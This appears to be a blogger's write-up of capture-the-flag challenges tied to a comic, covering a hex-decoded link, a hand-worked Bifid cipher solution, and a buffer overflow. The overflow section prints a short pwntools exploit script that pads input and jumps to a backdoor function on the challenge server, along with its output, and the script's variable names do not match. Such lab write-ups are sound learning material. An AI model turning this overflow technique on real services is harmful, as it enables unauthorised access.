Issue #02 - THE FUTURE IS **
Cover Challenge
On the cover of the comic there was this string of numbers: 7466:6963:6F6D:6963:2E69:6F2F:6266:3736
Noticing all the letters fell between A-F and were all in sections of four, I was able to split them into pairs and decode it from hexadecimals to get: tficomic.io/bf76
Navigating to that link gave us a bonus key.
Crack the **
Crack the 6-character cover password: ZKSWIE
You will need the phrase: DWARF GLYPH JOCKS MUNTZ VIBEX
Hint: This cipher divides each letter into two
And navigating to the related challenge page gave us the hint:
The cipher used here was invented in early 20th century and requires the use of Polybius squares
I did have to search up Polybius squares and then began looking into any ciphers invented in the early 20th century that used them and divided the letters into two.
Polybius Square - created by ancient Greeks, a device that divides plaintext characters into fractions so they can represented by a smaller set of symbols within a grid/checkerboard
Then using Wikipedia I learned about the Bifid cipher and semi-figured out how it worked; enough to solve the challenge.
There are definitely tools online that can solve this but I wanted to do the manual work to figure it out myself, and see if I actually understood what I was reading.
I used a spreadsheet originally, but here is what it essentially looked like:
| 1 | 2 | 3 | 4 | 5 | |
|---|---|---|---|---|---|
| 1 | D | W | A | R | F |
| 2 | G | L | Y | P | H |
| 3 | J | O | C | K | S |
| 4 | M | U | N | T | Z |
| 5 | V | I | B | E | X |
Seeing there were 5 words, each 5 letters long, it made sense to make the 5x5 grid.
The from there I found the position of each letter and then like kind of rotated them in a way, instead of splitting up the vertical and horizontal positions each.
Z K S W I E
45 34 35 12 52 55
I split it so the first three letters would be the new vertical positions and the last three letters would be used for the horizontal positions.
45 34 35 = 4 5 3 4 3 5
12 52 55 = 1 2 5 2 5 5
Then I combined the top set with the lined up number from the bottom set to find the positions of the letters in the decrypted word.
41 52 35 42 35 55
M I S U S E
This gave me the word MISUSE, which I confirmed by using an online decoder before successfully submitting for points.
Challenge 1 - MARTINA White Wolf
Incoming transmission…
==== WHITE WOLF ECHO ACTIVE ====
TASK: ROOT PENANCE RIG
SCANNING FOR VULNERABILITIES…
VULNERABILITY FOUND: BOF
BACKDOOR FUNCTION FOUND, OFFSET: 0x8049240
RIG FILES OBTAINED: LINK
RIG INSTANCE LOCATED: nc challenges.tficomic.io 7200
I noted down the offset given in the description: 0x8049240 and downloaded the files linked in the description.
It has been a while since I’ve attempted any sort of overflow so I reviewed some previous notes, which included a Python script that I would be able to use again. Via some testing I figured out the padding required and confirmed the offset so I could adjust the script:
from pwn import *
connection = remote('challenges.tficomic.io', 7200)
payload = b"A" * 76
payload += p32(0x08049240)
print(conn.recvuntil(b"Enter a command:"))
conn.sendline(payload)
print(conn.recvall())
Running the script retrieved us the challenge flag and looked like:
─$ python3 exploit.py
[+] Opening connection to challenge.tficomic.io on port 7200: Done
b'=========================\n** PENANCE RIG OS v1.5 **\n=========================\n\nEnter a command:'
[+] Receiving all data: Done (212B)
[*] Closed connection to challenge.tficomic.io port 7200
b' Sorry, you are not authorized to perform that function. Goodbye!\nElevating access...\nCongratulations! Here is the flag: KEY{5b5e17}\n\nWARNING: PROBATION LOCK TRIGGERED\n\n---------- CONNECTION TERMINATED ----------'
Challenge 2 - MARTINA Penance
Help Martina break into Penance’s servers! Try to gain root level access to the system and read the /flag.txt file. Connect with
ssh -p 7001 ctf-8147065b585c@ssh.dyn.mctf.ioto get started. (paste that command into your terminal or command prompt)
I attempted connecting to the machine using the given command, however it seems to require a password which I do not have. I went searching for something throughout the comic and even tried the password found in Crack the **, but nothing worked.
When pinging the domain it also returns 100% packet loss, so it doesn’t seem like this challenge is still accessible.
If you are interested in reading about how to complete this challenge, I would recommend checking out this site by Louis Merlin.